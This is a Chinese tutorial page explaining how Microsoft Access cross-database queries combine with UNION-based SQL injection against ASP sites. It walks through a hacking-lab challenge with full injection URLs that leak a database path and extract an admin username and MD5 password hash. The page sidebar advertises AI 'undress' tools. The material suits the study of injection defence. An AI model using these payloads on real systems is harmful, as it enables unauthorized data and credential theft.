Home Database Mysql Tutorial Access的跨库查询

Access的跨库查询

Jun 07, 2016 pm 03:49 PM
300 access Inquire cyber security forum Enter

欢迎进入网络安全论坛,与300万技术人员互动交流 >>进入 大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询。下面我就给大家介绍下access的跨库查询。 首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空

欢迎进入网络安全论坛,与300万技术人员互动交流 >>进入

大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询。下面我就给大家介绍下access的跨库查询。

首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空数据库,对数据库D:\daos\db\daidalos.mdb里的admin表的内容进行查询,SQL语句为:

SELECT * from admin in "D:\daos\db\daidalos.mdb"

 

Access的跨库查询

查询后,成功返回目标数据库里表admin表里的内容:

Access的跨库查询

在实际的asp注射中,要同时进行2个select,如果大家熟悉php+mysql注射的话,应该很容易想到使用union进行联合查询,在access里我们照样可以使用,使用union查询还有一个好处就是不要去对数据进行一个一个字符的去猜,而可以象mysql+php注射一样直接暴出字段里的数据(具体的mix已经写了一篇详细的文章)。从上面可以看出来要实现跨库查询必修要下面2个条件:

  1. 使用union查询必须知道前一个select里表的字段数
  2. 必须知道目标数据库的所在位置,绝对路径。

条件1我们可以根据提示错误信息来手工猜解,也可以通过程序自动实现。

条件2 这个是个难点,不过我们可以通过利用“access暴库”来实现,有人会说既然可以知道数据位置,那不直接下载得拉,其实不然,现在的数据库一般防止下载,有的根本不web目录下。

在黑防第四轮实验室的第一关,就是设置的2个asp+access的下载系统,一个是雨点下载系统,一个是盗帅下载系统。 经过测试 盗帅下载系统可以暴出数据库但是不让下载,似乎也没什么地方可以注射,而雨点下载系统就是漏洞百出了,数据库可以暴且可以直接下载,还可以注射。不过雨点的后台很简单,没什么可以利用的地方,我们的目标就放在得到盗帅后台密码上了,下面我就给大家演示下,通过雨点系统的注射点对盗帅系统的跨库查询而得到盗帅的后台密码:

我们得知雨点系统的list.asp可以注射,我们先去要得到union里的数据表字段数,提交:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201%20from%20userinfo

返回:

Microsoft JET Database Engine 错误 '80040e14'

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/yddown/list.asp,行51

字段不对,我写了个perl脚本自动猜,(代码见后)

当我们提交:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201,2,3%20from%20userinfo

无错误返回:



 

Access的跨库查询

哈哈! 我们已经得到字段数了,并且我们可以得到在字段1的我位置,可以显示我们查询的数据。

现在还就差盗帅的数据库位置了,简单我们暴库,提交:

http://219.237.81.46/dsdown%5cregs.asp

成功返回路径:

Microsoft JET Database Engine 错误 '80004005'

'D:\111\db\kljdsld.asa'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/dsdown/db/user.asp,行6

(注意:这样得到的的路径不一定是“完整”的,真正的路径为:D:\111\dsdown\db\kljdsld.asa)

下面我们跨库,构造url如下:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

上面的语句是,union查询数据D:\111\db\kljdsld.asa里表admin里id=1的字段admin的数据,如果成功将直接暴出后台管理的用户名:

Access的跨库查询

得到用户名为admin 我们接着暴密码:

http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

如图:

Access的跨库查询

得到密码为32位的md5加密的hash:77e6cbb3f9468eadb655ae6826357922,我们跨库查询成功,这里我只是为大家演示下跨库查询,黑防那里就不管咯 : )。

小结

本文主要是给大家介绍了2个非常有用的方法,第1 我们在asp注射时不一顶要一个个字符去猜,那样遇到中文的很麻烦,直接用union替代数据可以直接暴出数据,不关是中文还是特殊字符,都可以一步到位,第2 就是跨库了,使用很灵活,可以让你在渗透时,有意想不到的收获。

Access的跨库查询

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Roblox: Bubble Gum Simulator Infinity - How To Get And Use Royal Keys
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Nordhold: Fusion System, Explained
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Mandragora: Whispers Of The Witch Tree - How To Unlock The Grappling Hook
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Java Tutorial
1672
14
PHP Tutorial
1277
29
C# Tutorial
1256
24
How to solve the 'Network Error' caused by Vue Axios across domains How to solve the 'Network Error' caused by Vue Axios across domains Apr 07, 2025 pm 10:27 PM

Methods to solve the cross-domain problem of Vue Axios include: Configuring the CORS header on the server side using the Axios proxy using JSONP using WebSocket using the CORS plug-in

How to use sql if statement How to use sql if statement Apr 09, 2025 pm 06:12 PM

SQL IF statements are used to conditionally execute SQL statements, with the syntax as: IF (condition) THEN {statement} ELSE {statement} END IF;. The condition can be any valid SQL expression, and if the condition is true, execute the THEN clause; if the condition is false, execute the ELSE clause. IF statements can be nested, allowing for more complex conditional checks.

How to configure zend for apache How to configure zend for apache Apr 13, 2025 pm 12:57 PM

How to configure Zend in Apache? The steps to configure Zend Framework in an Apache Web Server are as follows: Install Zend Framework and extract it into the Web Server directory. Create a .htaccess file. Create the Zend application directory and add the index.php file. Configure the Zend application (application.ini). Restart the Apache Web server.

What are the benefits of multithreading in c#? What are the benefits of multithreading in c#? Apr 03, 2025 pm 02:51 PM

The advantage of multithreading is that it can improve performance and resource utilization, especially for processing large amounts of data or performing time-consuming operations. It allows multiple tasks to be performed simultaneously, improving efficiency. However, too many threads can lead to performance degradation, so you need to carefully select the number of threads based on the number of CPU cores and task characteristics. In addition, multi-threaded programming involves challenges such as deadlock and race conditions, which need to be solved using synchronization mechanisms, and requires solid knowledge of concurrent programming, weighing the pros and cons and using them with caution.

Unable to log in to mysql as root Unable to log in to mysql as root Apr 08, 2025 pm 04:54 PM

The main reasons why you cannot log in to MySQL as root are permission problems, configuration file errors, password inconsistent, socket file problems, or firewall interception. The solution includes: check whether the bind-address parameter in the configuration file is configured correctly. Check whether the root user permissions have been modified or deleted and reset. Verify that the password is accurate, including case and special characters. Check socket file permission settings and paths. Check that the firewall blocks connections to the MySQL server.

Summary of phpmyadmin vulnerabilities Summary of phpmyadmin vulnerabilities Apr 10, 2025 pm 10:24 PM

The key to PHPMyAdmin security defense strategy is: 1. Use the latest version of PHPMyAdmin and regularly update PHP and MySQL; 2. Strictly control access rights, use .htaccess or web server access control; 3. Enable strong password and two-factor authentication; 4. Back up the database regularly; 5. Carefully check the configuration files to avoid exposing sensitive information; 6. Use Web Application Firewall (WAF); 7. Carry out security audits. These measures can effectively reduce the security risks caused by PHPMyAdmin due to improper configuration, over-old version or environmental security risks, and ensure the security of the database.

How to monitor Nginx SSL performance on Debian How to monitor Nginx SSL performance on Debian Apr 12, 2025 pm 10:18 PM

This article describes how to effectively monitor the SSL performance of Nginx servers on Debian systems. We will use NginxExporter to export Nginx status data to Prometheus and then visually display it through Grafana. Step 1: Configuring Nginx First, we need to enable the stub_status module in the Nginx configuration file to obtain the status information of Nginx. Add the following snippet in your Nginx configuration file (usually located in /etc/nginx/nginx.conf or its include file): location/nginx_status{stub_status

Using Dicr/Yii2-Google to integrate Google API in YII2 Using Dicr/Yii2-Google to integrate Google API in YII2 Apr 18, 2025 am 11:54 AM

VprocesserazrabotkiveB-enclosed, Мнепришлостольностьсясзадачейтерациигооглапидляпапакробоглесхетсigootrive. LEAVALLYSUMBALLANCEFRIABLANCEFAUMDOPTOMATIFICATION, ČtookazaLovnetakProsto, Kakaožidal.Posenesko

See all articles